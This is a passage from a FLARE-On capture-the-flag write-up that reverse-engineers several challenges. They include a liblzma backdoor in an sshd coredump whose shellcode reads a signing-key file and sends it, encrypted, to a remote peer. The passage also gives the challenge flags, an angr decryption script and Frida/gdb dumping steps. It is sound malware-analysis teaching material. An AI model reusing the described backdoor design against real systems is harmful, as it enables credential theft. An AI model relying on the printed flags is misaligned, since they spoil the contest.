f = f.toLowerCase()
alert(atob('Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog') + f)
}
}
const a0l = document.getElementById('caption1'),
a0m = document.getElementById('caption2'),
a0n = document.getElementById('caption3')
a0l.addEventListener('keyup', () => {
a0k()
})
a0m.addEventListener('keyup', () => {
a0k()
})
a0n.addEventListener('keyup', () => {
a0k()
})
Since a0k
is the only large function with cryptic looking code in it, it should be the function related to flag, especially the final atob('Q29uZ3JhdHVsYXRpb25zISBIZXJlIHlvdSBnbzog')
executes to the string Congratulations! Here you go:
. Therefore, the variable f
must be the flag string under right conditions.
We see that f
is dependent on 4 other variables, a
, b
, c
, d
.
- From the top of the function we know that the function returns if
a !== Object.keys(a0e)[5]
. Meaninga
must be equal to the right-hand side, which isboy_friend0.jpg
. - From the condition
a0c.indexOf(b) == 14
we know thatb
must bea0c[14]
which evaluates toFLARE On
. - From the condition
a0c.indexOf(c) == a0c.length - 1
we know thatc
must bea0c[a0c.length - 1]
which evaluates toSecurity Expert
. - From the condition
a0c.indexOf(c) == 22
we know thatd
must bea0c[22]
which evaluates toMalware
.
After setting all the variables to their correct value, we can simply evaluate f
and get the flag:
wh0a_it5_4_cru3l_j4va5cr1p7@flare-on.com
WAIT! THERE IS MORE!
🔔🔔🔔 BONUS EASTER EGG TIME 🔔🔔🔔
You might notice that one of the images (fish.jpg
to be exact) has a content type of binary/red
, and it does not show up in the selection. If you file
it, you would see that it’s a AMD64 PE executable. Going into the main
function we see this:
The function at 1420
is a simple XOR implementation, where the first argument is a zero-terminated string, and the second argument is a single byte as the XOR key. So let’s decrypt all the texts:
9000
: “Unfortunately, this file is not relevant AT ALL!”9031
: “Really, don't waste your time here.”9055
: “Just kidding: here is the flag…”9077
: “Just kidding again... there's nothing exciting to be found here.”90b8
: “You don't believe me? Fair enough.”90db
: “You should have trusted me though. Have fun with FLARE-ON this year!”
And if you run the program, only the first string and the second sentence of the last string would be printed out. What a troll.
5 - sshd
We are given a giant tar
file which is a copy of the entire Linux filesystem.
forensics
Since the first step is forensics, we need to do some investigation of the files on the filesystem. I tried a few different things and the thing that works the best is to look at all the files in the order that they are modified.
Which gives us output that starts with this
drwx------ toomanybananas/primarygroup 0 2024-09-12 05:55 ./root/
-rw-r--r-- toomanybananas/primarygroup 2304 2024-09-12 05:55 ./root/flag.txt
lrwxrwxrwx toomanybananas/primarygroup 0 2024-09-10 06:21 ./etc/ssl/certs/vTrus_Root_CA.pem -> /usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt
Oh yeah, there’s flag.txt
right here! Opening it up we see
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀
⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀
⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀
⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅
⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀
⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀
⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀
⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀
⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
if only it were that easy......
Yeah of course it couldn’t be that easy… After some manual digging, I found a coredump located at /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
that’s dumped from sshd
which is the title of the challenge. So this must be it.
coredump
To look further into the coredump, it is the best to restore the environment that it was run. So I import the rootfs into the docker and spawned a shell using
docker import ./ssh_container.tar
docker run --rm -it sha256:4e1c4961 /bin/bash
Luckily the environment already have gdb
installed, so we just run
gdb sshd -c /var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
Inside gdb
, we run bt
to print where it throws a segmentation fault.
(gdb) bt
#0 0x0000000000000000 in ?? ()
#1 0x00007f4a18c8f88f in ?? () from /lib/x86_64-linux-gnu/liblzma.so.5
#2 0x000055b46c7867c0 in ?? ()
#3 0x000055b46c73f9d7 in ?? ()
#4 0x000055b46c73ff80 in ?? ()
#5 0x000055b46c71376b in ?? ()
#6 0x000055b46c715f36 in ?? ()
#7 0x000055b46c7199e0 in ?? ()
#8 0x000055b46c6ec10c in ?? ()
#9 0x00007f4a18e5824a in __libc_start_call_main (
main=main@entry=0x55b46c6e7d50, argc=argc@entry=4,
argv=argv@entry=0x7ffcc6602eb8)
at ../sysdeps/nptl/libc_start_call_main.h:58
#10 0x00007f4a18e58305 in __libc_start_main_impl (main=0x55b46c6e7d50, argc=4,
argv=0x7ffcc6602eb8, init=<optimized out>, fini=<optimized out>,
rtld_fini=<optimized out>, stack_end=0x7ffcc6602ea8)
at ../csu/libc-start.c:360
#11 0x000055b46c6ec621 in ?? ()
Huh, so it’s thrown inside /lib/x86_64-linux-gnu/liblzma.so.5
. To find out the offset to the base of the library, we run info proc mappings
to get the memory mappings of the modules.
Start Addr End Addr Size Offset objfile
[...]
0x7f4a18c86000 0x7f4a18c8a000 0x4000 0x0 / (deleted)
0x7f4a18c8a000 0x7f4a18ca9000 0x1f000 0x4000 / (deleted)
0x7f4a18ca9000 0x7f4a18cb7000 0xe000 0x23000 / (deleted)
0x7f4a18cb7000 0x7f4a18cb8000 0x1000 0x30000 / (deleted)
0x7f4a18cb8000 0x7f4a18cb9000 0x1000 0x31000 / (deleted)
[...]
So the offset to the base is 0x7f4a18c8f88f - 0x7f4a18c86000 = 0x988f
.
Although it is displayed as
(deleted)
, theso
file is still on the filesystem. I was worried that there are some pitfalls here but it seems not important for the following steps, so I just ignored it.
Opening up the so
file in Ghidra and jump to this location, we see a block that looks very much like a backdoor:
Inside 93f0
, we see constants such as 0x3320646e61707865
and 0x6b20657479622d32
, which are constants for ChaCha20 cipher. Note that Salsa20, which ChaCha20 based on, uses the same constants. The identifying part here is that the nonce used is 12 bytes, which only exists in ChaCha20.
Also, with a simple search it is possible to find the exact code used for the functions github.com/spcnvdr/xchacha20. So we know 93f0
is chacha20_init_context
and 9520
is chacha20_xor
.
So the code in the red block is essentially decrypting a constant block of data at 23960
of size 0xF96 using a ChaCha20 cipher, with keys from a remote connection data. The decrypted data is directly run as shellcode, and after the shellcode is run the data is re-encrypted.
Since the data is re-encrypted, we cannot find the shellcode from the coredump directly. Therefore, we have to look for the key. Notice that the segfault happened at 988f
, which is the return address of this CALL
at 988d
:
Looking at the corresponding decompiled code, the param2
which stores the key is exactly passed through as the second parameter of the function call as well. Therefore, by dumping the data at pointer stored in register rsi
, we can get the key. Using gdb
:
(gdb) x/48bx $rsi
0x55b46d51dde0: 0x48 0x7a 0x40 0xc5 0x94 0x3d 0xf6 0x38
0x55b46d51dde8: 0xa8 0x18 0x13 0xe2 0xde 0x63 0x18 0xa5
0x55b46d51ddf0: 0x07 0xf9 0xa0 0xba 0x2d 0xbb 0x8a 0x7b
0x55b46d51ddf8: 0xa6 0x36 0x66 0xd0 0x8d 0x11 0xa6 0x5e
0x55b46d51de00: 0xc9 0x14 0xd6 0x6f 0xf2 0x36 0x83 0x9f
0x55b46d51de08: 0x4d 0xcd 0x71 0x1a 0x52 0x86 0x29 0x55
We dump 48 bytes because it’s 4 (magic header 0x48 0x7a 0x40 0xc5
) + 32 (key) + 12 (nonce). Putting the key and nonce into CyberChef and we get our shellcode:
shellcode
For me, a quick way to look at this shellcode is to simply overwrite the encrypted data with the decrypted data, so I can see it in the same binary environment. Decompile it, go into the main entry point at 24722
and we see this:
Oh no, why is Ghidra so bad at displaying syscalls! Don’t worry, you actually just need to run the built-in script ResolveX86orX64LinuxSyscallsScript.java
located in Tools→Script Manager. After the script we get much better results:
The code is rather simple to read:
2397a
establish a connection to a remote peer.- Two
recvfrom
receives data of size 0x20 and 0xc. - One
recvfrom
receives auint32_t
as size of the payload. - One
recvfrom
receives the payload with the size just received. - The payload is used as a filename to be opened.
- 0x80 bytes of the file is read.
- A
strlen
counts the number of bytes (corresponding to thedo..while
loop). - For function
24632
, we see the familiar constantexpand 32-byte K
again. And for246a9
, we see the familiar state rotation and XOR. So we can be quite sure that this is another ChaCha20 cipher. - The remaining code just sends the data off and close the connection.
Because of this, we can be fairly sure that the 0x20 and 0xc data we received are the key and the nonce for the cipher. The decompiled code also confirms that.
So we just need to recover the data from the stack, again. This time it is slightly more complicated, since the function we are looking at is not in the frame, so it would take some effort to calculate the correct offset of the stack address.
The RSP at the time of segfault is 0x7ffcc6601e98, which is the result of a CALL
from 9820
. So the RSP at 9820
should be 0x7ffcc6601e98 + 8 = 0x7ffcc6601ea0. From 9820
to 24722
takes 2 CALL
s, and there are 6 PUSH
es, so in total it should be 0x7ffcc6601ea0 - 8 * 8 = 0x7ffcc6601e60 as the RBP of 24722
. Therefore, we can calculate the offsets of each data by reading the raw offsets from RBP from the assembly:
- key: located at RBP-0x1278
- nonce: located at RBP-0x1258
- payload size: located at RBP-0xc8
- payload (filename): located at RBP-0x1248
- file size: located at RBP-0xc4
- file content (encrypted): located at RBP-0x1148
Note that anything that is small offset from RBP (payload size and file size) is already overwritten on the stack, so we cannot recover them. For the remaining, we can dump them using gdb
:
(gdb) set $off=0x7ffcc6601e60
(gdb) x/32bx $off-0x1278
0x7ffcc6600be8: 0x8d 0xec 0x91 0x12 0xeb 0x76 0x0e 0xda
0x7ffcc6600bf0: 0x7c 0x7d 0x87 0xa4 0x43 0x27 0x1c 0x35
0x7ffcc6600bf8: 0xd9 0xe0 0xcb 0x87 0x89 0x93 0xb4 0xd9
0x7ffcc6600c00: 0x04 0xae 0xf9 0x34 0xfa 0x21 0x66 0xd7
(gdb) x/12bx $off-0x1258
0x7ffcc6600c08: 0x11 0x11 0x11 0x11 0x11 0x11 0x11 0x11
0x7ffcc6600c10: 0x11 0x11 0x11 0x11
(gdb) x/s $off-0x1248
0x7ffcc6600c18: "/root/certificate_authority_signing_key.txt"
(gdb) x/64bx $off-0x1148
0x7ffcc6600d18: 0xa9 0xf6 0x34 0x08 0x42 0x2a 0x9e 0x1c
0x7ffcc6600d20: 0x0c 0x03 0xa8 0x08 0x94 0x70 0xbb 0x8d
0x7ffcc6600d28: 0xaa 0xdc 0x6d 0x7b 0x24 0xff 0x7f 0x24
0x7ffcc6600d30: 0x7c 0xda 0x83 0x9e 0x92 0xf7 0x07 0x1d
0x7ffcc6600d38: 0x02 0x63 0x90 0x2e 0xc1 0x58 0x00 0x00
0x7ffcc6600d40: 0xd0 0xb4 0x58 0x6d 0xb4 0x55 0x00 0x00
0x7ffcc6600d48: 0x20 0xea 0x78 0x19 0x4a 0x7f 0x00 0x00
0x7ffcc6600d50: 0xd0 0xb4 0x58 0x6d 0xb4 0x55 0x00 0x00
Using CyberChef we can decrypt the flag:
…or not.
During the event I guessed that there must be something changed about the cipher, which is quite annoying to figure out. Instead, I just wrote an angr script to execute the cipher functions on the ciphertext. Since the cipher is symmetric, this would decrypt it.
import angr
project = angr.Project('rootfs/usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1', load_options={'auto_load_libs': False})
state = project.factory.call_state(0x424632)
state.regs.rsp -= 0x1688
ubuf = state.regs.rsp + 0x410
a3 = state.regs.rsp + 0x430
a1 = state.regs.rsp + 0x15c8
buf = state.regs.rsp + 0x540
enc = bytes.fromhex('a9 f6 34 08 42 2a 9e 1c 0c 03 a8 08 94 70 bb 8d aa dc 6d 7b 24 ff 7f 24 7c da 83 9e 92 f7 07 1d 02 63 90 2e c1 58')
state.memory.store(ubuf, bytes.fromhex('8d ec 91 12 eb 76 0e da 7c 7d 87 a4 43 27 1c 35 d9 e0 cb 87 89 93 b4 d9 04 ae f9 34 fa 21 66 d7 11 11 11 11 11 11 11 11 11 11 11 11 00 00 00 00'))
state.memory.store(buf, enc)
state.regs.rax = a1
state.regs.rdx = ubuf
state.regs.rcx = a3
state.regs.r8 = 0
sigmr = project.factory.simulation_manager(state)
sigmr.explore(find=0x4246a8)
state = project.factory.call_state(0x4246a9, base_state=sigmr.found[0])
state.regs.rax = a1
state.regs.rdx = buf
state.regs.rcx = len(enc)
sigmr = project.factory.simulation_manager(state)
sigmr.explore(find=0x4246e3)
state = sigmr.found[0]
print(state.memory.load(buf, len(enc)).concrete_value.to_bytes(len(enc)))
Which gives us the flag:
During the write up, I took some time to figure out what is changed, and it was actually the constant itself. The shellcode implementation of ChaCha20 has the constant as
expand 32-byte K
, where the standard one has a lower casek
. Truly obnoxious.
6 - bloke2
We got quite a different thing to reverse this time: A circuit implementation of BLAKE2 hash in Verilog.
Without much prior knowledge to Verilog, my first instinct is to find all big, random constants in the code, since entropy-wise they have the most chance to contain the flag.
Constants in Verilog is defined as [size]'[base][value]
where size
is a number indicating the size of the constant, base
it something like b
or h
indicating binary or hex value, and value
is the number literal. So we can use this regular expression \d+'.[a-f0-9]{3,}
, which searches for long constants. We got the following results:
After some Googling and consulting Wikipedia, we can confirm that the constants in block2b.v
and bloke2s.v
are the standard IV bytes for BLAKE2b and BLAKE2s, and the constants in f_sched.v
are the standard S-Box table for BLAKE algorithm.
Therefore, the only thing remaining is the TEST_VAL
stored in data_mgr.v
. In the entire codebase, there is only one reference to this variable
Let’s try to understand the code. The TEST_VAL
is bitwise-AND’d with a extended variable tst
. And if we look at the definition of tst
, it is reg tst
meaning it is by default a single-bit value. So the code is essentially saying: If tst
is 0, then the line is equivalent to h <= h_in
; Otherwise, it is equivalent to h <= h_in ^ TEST_VAL
.
Since the description of the challenge hints towards a “extracted with the testbenches,” it probably refers to having tst
being 1. Since we have the source code, let’s just modify it directly to have it always be h <= h_in ^ TEST_VAL
.
But what would be the correct h_in
? Here I just decided to follow the README
and run all the modules to see what their output is. In the process, we are pretty lucky to have the flag printed out directly for the module bloke2b_tb
:
7 - fullspeed
We are given a Wireshark capture file and a stripped PE executable in AMD64 arch. Looking into the packet capture first, there’s only one TCP stream with traffic that are seemingly random, so apparently they are encrypted. Let’s look into the executable then.
dynamic analysis
After opening up it in Ghidra, I want to first locate the position where it calls socket related functions. Normally if we are in a Linux environment, I would only have to look for cross-references to socket
or recv
these network-related system calls. But since we are in Windows, the APIs are more complicated to look for.
Luckily, there’s a Windows tool called “API Monitor” that I found very similar to strace
on Linux, and is easy to use. Let’s open it up and walk through how to use it:
Since we are only looking for network-related system calls, I want to filter only those as well. On the left-hand side column of API Monitor, you can do exactly that.
Then we monitor the newly started fullspeed.exe
process, and here’s the captured API calls (related to network that we filtered):
Notice that a single WSAConnect
is called. If we click on it, on the bottom of the screen, the argument of the call is shown:
Here it didn’t do a good job of parsing the struct sockaddr
with AF_INET6
, which indicates a IN6_ADDR
structure, so we need to do some manual parsing:
-
Right click on
WSAConnect
and set a breakpoint before call -
Run the program again. When the breakpoint prompt pops up, right click on the second argument and select “Edit Buffer…”
-
Then you can see the argument buffer in the hex dump
Looking at Microsoft’s documentation, the sockaddr_in6
struct looks like this:
struct sockaddr_in6 {
USHORT sin6_family;
USHORT sin6_port;
ULONG sin6_flowinfo;
UCHAR sin6_addr[16];
[...]
}
sin6_family
: 0x17, which representsAF_INET6
.sin6_port
: 0x7a69, which is 31337.sin6_flowinfo
: just full of zeros.sin6_addr
: parses to::ffff:c0a8:3867
, which is a mapped IPv4 address192.168.56.103
.
Looking back at the Wireshark capture file we get, it is indeed establishing connection to this address from the very beginning.
One other awesome feature of API Monitor is that it records the call stack with address and module offset:
So we can quickly find out the call chain to this API. If you don’t see this many frames being recorded, you can go to Tools→Options…→Monitoring→Maximum Frames and increase that number.
However, all functions in the call stack are still quite complicated to look at, and it’s hard to tell which one contains the core logic, since there’re no constants or strings or symbol names that are apparent in sight.
Here I decide to continue the dynamic debugging process by creating a fake server. Using nc
on Linux is pretty simple, or using Python:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('192.168.56.103', 31337))
s.listen(1)
c, _ = s.accept()
while True:
c.recv(1)
Note that if you computer does not have the IP 192.168.56.103
, listening on it would fail. You can either patch the binary to have it connect to another IP, or you can setup a virtual network interface that routes this IP.
Now we run the program again, and we see two send
s and a recv
after WSAConnect
newly appeared.
Let’s look at the call stack of send
and recv
And combining with the call stack of WSAConnect
, we can easily see that their lowest common ancestor is the function at range around 0x108bd5, which corresponds to the function 108ac0
. So we can be fairly sure that this is the “main” function that handles the core logic of the program.
If we take a closer look, we see that the send
and recv
also have a lowest common ancestor at around 0x108000, which corresponds to the function 107ea0
. So this function should be the function that handles the communication itself.
So let’s take a look at exactly what is being sent through the network. We found the corresponding calls to the above two send
s and recv
inside 107ea0
which is this block of code:
Now, based on some prior knowledge and also the hint given in the description, we know this binary is compiled with .NET Native AOT. This means that the code is written with “object-oriented programming” in mind, meaning you would see functions as “methods” (where the first argument is the pointer to the object), and you would see virtual function tables for function calls.
Here, for the first argument, we see that they all point to the same lVar16 + 0x28
which is probably the socket object. And the second argument is always assigned before the call, which implies some kind of argument.
If we follow the second parameter all the way into the function call, we will find it’s being dereferenced here:
So the parameter structure looks something like:
struct { uint64_t a; uint32_t b };
Now if we go back to the parameter before calling, and set the correct type, we see that
Now we can just guess that b
is the length and a
is the buffer pointer. Dynamic debugging tells us that the data sent through is indeed of size b
with data from pointer a
. In C#, the structure for this would be Span
:
struct Span<T> { T *data; int size; }
Let’s continue the dynamic analysis. Reading the code, we know that the program, after two send
s, is trying to recv
twice, each with 0x30 size. So we change our Python script to send it two buffers of size 0x30 as well:
s.send(b'\x00' * 0x30)
s.send(b'\x00' * 0x30)
Oh well, the program prints “err” and exits. However, remember that we are given a packet capture file, so let’s try replaying the response here.
DATA = bytes.fromhex('a0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c3196a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc')
c.send(DATA)
We send the responses in the pcap file back, and this time it didn’t error out. Instead, from API Monitor we see a new call to recv
with size 1:
From the stack trace we see that this recv
is called from a different place, in function e4be0
called from offset 0x108452 (107ea0
+0x5B2). It is clear that there are some logic in between the last recv and the new recv call, but unfortunately dynamic debugging cannot give us more information, so let’s turn to static reversing now.
static analysis
In fact, the best way to do this is to probably restore the symbols. There are some tutorials and I tried to build my own .NET AOT binary and extract signature from it. However, it didn’t work too well for me. Also, there might be some symbols used for reflection that we can extract from the binary, but I couldn’t find tooling for that. Finally I decided to go hardcore and do the actual reversing.
Let’s focus on 107ea0
again, and try to reverse this block of code:
There are two things we can guess from it:
- The sent data was probably generated from the function
70b77
- The buffer used for the data is probably allocated from
2ad0
- There are two vtable calls on line 68 and 69.
So let’s take a look into 2ad0
first.
Since we know that this is an allocation-related function, it is not hard to guess what each part is doing:
- The function calculates the size needed for the allocation, which is the number of elements (
param_2
) times the size (*param_1
) plus the size of the header, and a term for alignment. - It uses the thread local to store the allocator-needed data.
- It checks if the already allocated page contains enough memory for fitting the object.
- If it does, it allocates and returns (inside the second
if
).
From this we also know that this is an allocation for array. From the allocation code, we can see the layout of the array object looks like this
struct Array { void *meta; int len; T[] data; }
where meta
is the same as the input param_1
, and len
is the number of elements.
Now let’s tackle one of the hard ones, 71ae0
. First, let’s see the start of this function
Notice that, the same exact logic is applied to param_1
and then to param_2
. From here, it should be clear that:
param_1
andparam_2
should have the same type- This function should be symmetric, meaning if you swap
param_1
andparam_2
, the function should return the same thing. - If a part of one parameter is
0
, then it should directly return the other parameter.
These observations would be important for us to have educated guess on what this function does. For the next part:
We see that the AllocateArray
that we just reversed appeared again, so we know uVar13
is the number of elements of whatever new array it wants to create here. Reading up, uVar13
is derived from min(*(uint *)(lVar7 + 8), *(uint *)(lVar8 + 8))
. Although we don’t know the type of lVar7
or lVar8
yet, we know the offset 8 of the structure contains the size, so we naturally thought of array
structure we just saw. Although we can’t be sure, it doesn’t hurt to give it the type and see if it makes sense in the code.
Ok, let’s see this giant loop coming next:
Actually, the Array
we just guessed makes sense here (I changed the type of data
to uint32_t[]
based on the access size), and the code is rather easy to read:
- The
data
of the newly allocated array contains the XOR of the data fromlVar7
andlVar8
. iVar1
,uVar11
anduVar4
and some kind of sign indicator, because when they are< 0
the result is flipped.- Label at
71cc8
is out-of-bounds error handler, so we can ignore that.
So basically, this code is simply XOR’ing the two arrays into a new array. To me, this code actually behaves very much like a XOR operator for big integer implementation, so let’s try to guess this big interger’s layout:
struct BigInt {
void *meta;
struct Array<uint32_t> *words;
int sign;
}
Now is the final part of this function:
If we look into 29b0
, we see another allocation-related logic that is very similar to 2ad0
we saw before, but instead this time it is allocating a single object according to the meta object given. Let’s call 29b0
AllocateObject
.
Looking into 6b560
we see this:
This beginning information gives us information that BigInt
probably has two more uint32_t
fields.
Now, let’s try to find the actual source code of this Big Integer implementation, I asked ChatGPT:
And let’s try to see the matching of each one of these packages:
System.Numerics
: only two fields_sign
and_bits
, probably not.Extreme.Numerics
: actually not free and not open-source, ChatGPT L.Nethereum.Hex/HexTypes
: just a wrapper around built-inBigInteger
for serialization.BCrypt.Net
: I couldn’t find a Big Integer implementation at all.BouncyCastle
: there isuint[] magnitude
andint sign
, and two extra fieldsnBits
,nBitLength
which initializes to -1. This is exactly the same as what we reversed.
So I looked into BouncyCastle
's BigInteger::Xor
here:
As you can see, this is exactly the same layout as the decompiled code. So we can be fairly sure that the code is using BouncyCastle
.
Actually you can find “BouncyCastle” in the binary’s
strings
directly, I always forget about that lol.
Anyway, since now we have the source code, it is much easier to reverse the rest of the parts. One trick is to search for function signature directly. Anyway, here’s a list of the relevant functions:
71ae0
:BigInteger::Xor(BigInteger value)
70b00
:BigInteger::ToByteArray(bool unsigned, Span<byte> output)
6c440
:BigInteger::BigInteger(int sizeInBits, Random random)
(constructor for generating random Big Integer)6c1a0
:BigInteger(int sign, byte[] bytes, int offset, int length, bool bigEndian)
(constructor for converting Byte Array to Big Integer)
Now we have around half of the functions calls in 107ea0
with symbols:
But the other half that we don’t know consists of these dynamic function calls.
static + dynamic analysis
Now let’s deal with dynamic methods. Notice that the objects in this binary all have the first field being a fixed “meta” struct when they are allocated. For example, the BigInteger
object we analyzed:
It’s meta object is located in 15b268
. So whenever we see this offset of meta object being used for AllocateObject
, we know a BigInteger
is being allocated.
When a method of an object is called, for example something like this:
It tried to index the correct function pointer from the meta struct (which presumably contains the function table or virtual table) of the object, and then calls the function with the first argument being the object itself.
So this 15b268
should contain the offset to all BigInteger
's virtual methods, right? Yes, but unfortunately this information is filled in at runtime. Therefore, it is easier to debug the process and dump the function call address.
Here, I use x64dbg
for debugging on Windows:
-
x64dbg
by default have a breakpoint at the entrypoint. When at the entry point, you can go to “Memory Map” and find the base address of the executable. -
In the decompile view (“CPU”), press Ctrl+G to go to address. Here, you can input the base address + the
CALL
instruction offset. -
Add a breakpoint at this instruction by right click or click on the left dot of that line.
-
Run the program until this instruction is hit. The bottom will display the target address (
7FF752E948F0
in this case). -
Subtract the base address obtained in step 1, and you get the offset of the calculated jump. It is 0x748F0 in this case.
-
Furthermore, because the
rax
register now refers to the meta object, we can just dump the entire meta object.
Back into Ghidra, right inside 748F0
, we saw another vtable call:
Note here I recovered the function arguments by hand, judging by what arguments are passed in.
Using the same process or the dumped table, we know this goes to 74950
. And wow, it’s another computed call:
Again, I manually fixed the types and calling arguments.
Repeat the process, and we know this goes to 75920
.
There’s no dynamic calls anymore, and the only function unknown is 6c9f0
. However, notice the bottom part: This type of the code happens inline every time when the program throw
s, which involved first allocating an object, and then calling some functions, ending with an INT3
.
During static analysis, arguments to the exception such as 153d98
is not filled in yet. The ideal option here is to find out how .NET AOT compiler translate exceptions into assembly, but that would be too complicated. Instead, I decided to inspect it via dynamic debugging:
Behold, an error string “value invalid for Fp field element”. Doing a GitHub search gives us:
This is inside BouncyCastle! Luckily, we have recovered another type ECCurve
. And not only that, because ECCurve
references other types such as ECFieldElement
and ECPoint
, we are able to recover all of them through cross reference and type induction. Here’s my mapping of the C# classes into C structs:
struct ECFieldElement
{
void *meta;
BigInt *q;
BigInt *r;
BigInt *x;
};
struct ECPoint
{
void *meta;
ECCurve *curve;
ECFieldElement *x;
ECFieldElement *y;
Array *zs;
};
struct ECCurve
{
void *meta;
void *field;
ECFieldElement *a;
ECFieldElement *b;
BigInt *order;
BigInt *cofactor;
void *endomorphism;
void *multiplier;
void *__alignment;
int coord;
BigInt *q;
BigInt *r;
ECPoint *inf;
};
Note that some of these are actual implementations of the abstract base class, like
FpCurve
andFpPoint
.
The remaining of the reversing work is to slowly recover the methods through different processes explained above. Again, it might be easier to compile a BouncyCastle and using the signature to do this automatically, or write a Ghidra/IDA script. I just rawdogged it.
Finally we have some true progress:
This tells us that during the handshake process:
- The client generates a random integer of 0x80 bits.
- The client multiplies a EC point with this random integer, which gets a new point.
- The clients sends the server the new point through x and y components, the components are XOR’d with some other number.
- The server sends the client a point through x and y components, the components are XOR’d with some other number.
- The client validates the point is on the curve, and multiplies it with the initial random number.
If you are somehow familiar with elliptic curve cryptography, you should recognize that this is an elliptic curve Diffie–Hellman key exchange algorithm.
However, since private keys are generated at random, the ECDH should have forward secrecy, so it should be impossible to recover the content. Well, now it is crypto time.
crypto
First, let’s take a look at this curve. The curve is defined by these parameters:
- The equation defining parameter \(a\) and \(b\).
- The modulo (prime) of the curve \(q\).
We also need to know the base point \(G\) that was used.
To know what the values are, we can either do static analysis or just dynamically dump them. Here I wrote a Frida script to print them out nicely:
const base = Process.mainModule.base
function BigIntMagnitude(ptr) {
return ptr.add(8).readPointer();
}
function ArraySize(ptr) {
return ptr.add(8).readU64();
}
function ArrayData(ptr) {
return ptr.add(8 * 2);
}
function BigIntToString(bn) {
if (bn.isNull()) return '<null>';
const arr = BigIntMagnitude(bn);
const size = ArraySize(arr);
const data = ArrayData(arr);
let str = '0x';
for (let i = 0; i < size; ++i) {
str += ('00000000' + data.add(i * 4).readU32().toString(16)).slice(-8);
}
return str;
}
function dumpFieldElement(u1, indent) {
indent += '\t';
